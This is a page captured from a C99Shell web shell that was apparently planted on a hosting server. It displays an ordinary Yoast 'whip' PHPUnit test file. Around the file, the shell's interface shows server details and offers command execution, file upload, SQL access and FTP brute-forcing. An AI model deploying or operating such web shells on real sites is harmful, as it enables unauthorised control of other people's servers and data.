!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/whip/tests/   drwxr-xr-x
Free 182.55 GB of 490.84 GB (37.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     VersionRequirementTest.php (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class VersionRequirementTest extends PHPUnit_Framework_TestCase {
    public function 
testNameAndVersionAreNotEmpty() {
        
$requirement = new Whip_VersionRequirement'php''5.2' );

        
$this->assertNotEmpty($requirement->component());
        
$this->assertNotEmpty($requirement->version());
    }

    
/**
     * @expectedException Whip_EmptyProperty
     */
    
public function testComponentCannotBeEmpty() {
        new 
Whip_VersionRequirement'''5.2' );
    }

    
/**
     * @expectedException Whip_EmptyProperty
     */
    
public function testVersionCannotBeEmpty() {
        new 
Whip_VersionRequirement'php''' );
    }

    
/**
     * @expectedException Whip_InvalidType
     */
    
public function testComponentMustBeString() {
        new 
Whip_VersionRequirement123'5.2' );
    }

    
/**
     * @expectedException Whip_InvalidType
     */
    
public function testVersionMustBeString() {
        new 
Whip_VersionRequirement'php'123 );
    }

    
/**
     * @expectedException Whip_EmptyProperty
     */
    
public function testOperatorCannotBeEmpty() {
        new 
Whip_VersionRequirement'php''5.6''' );
    }

    
/**
     * @expectedException Whip_InvalidType
     */
    
public function testOperatorMustBeString() {
        new 
Whip_VersionRequirement'php''5.2');
    }

    
/**
     * @expectedException Whip_InvalidOperatorType
     */
    
public function testOperatorMustBeValid() {
        new 
Whip_VersionRequirement'php''5.2''->' );
    }

    public function 
testGettingComponentProperties() {
        
$requirement = new Whip_VersionRequirement'php''5.6' );

        
$this->assertEquals'php'$requirement->component() );
        
$this->assertEquals'5.6'$requirement->version() );
        
$this->assertEquals'=',   $requirement->operator() );
    }

    
/**
     * @dataProvider dataFromCompareString
     */
    
public function testFromCompareString$expectation$component$compareString ) {
        
$requirement Whip_VersionRequirement::fromCompareString$component$compareString );

        
$this->assertEquals$expectation[0], $requirement->component() );
        
$this->assertEquals$expectation[1], $requirement->version() );
        
$this->assertEquals$expectation[2], $requirement->operator() );
    }

    public function 
dataFromCompareString() {
        return array(
            array( array( 
'php''5.5''>' ), 'php''>5.5' ),
            array( array( 
'php''5.5''>=' ), 'php''>=5.5' ),
            array( array( 
'php''5.5''<' ), 'php''<5.5' ),
            array( array( 
'php''5.5''<=' ), 'php''<=5.5' ),
            array( array( 
'php''7.3''>' ), 'php''>7.3' ),
            array( array( 
'php''7.3''>=' ), 'php''>=7.3' ),
            array( array( 
'php''7.3''<' ), 'php''<7.3' ),
            array( array( 
'php''7.3''<=' ), 'php''<=7.3' ),
        );
    }

    
/**
     * @expectedException Whip_InvalidVersionComparisonString
     */
    
public function testFromCompareStringException() {
        
Whip_VersionRequirement::fromCompareString'php''> 2.3' );
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0109 ]--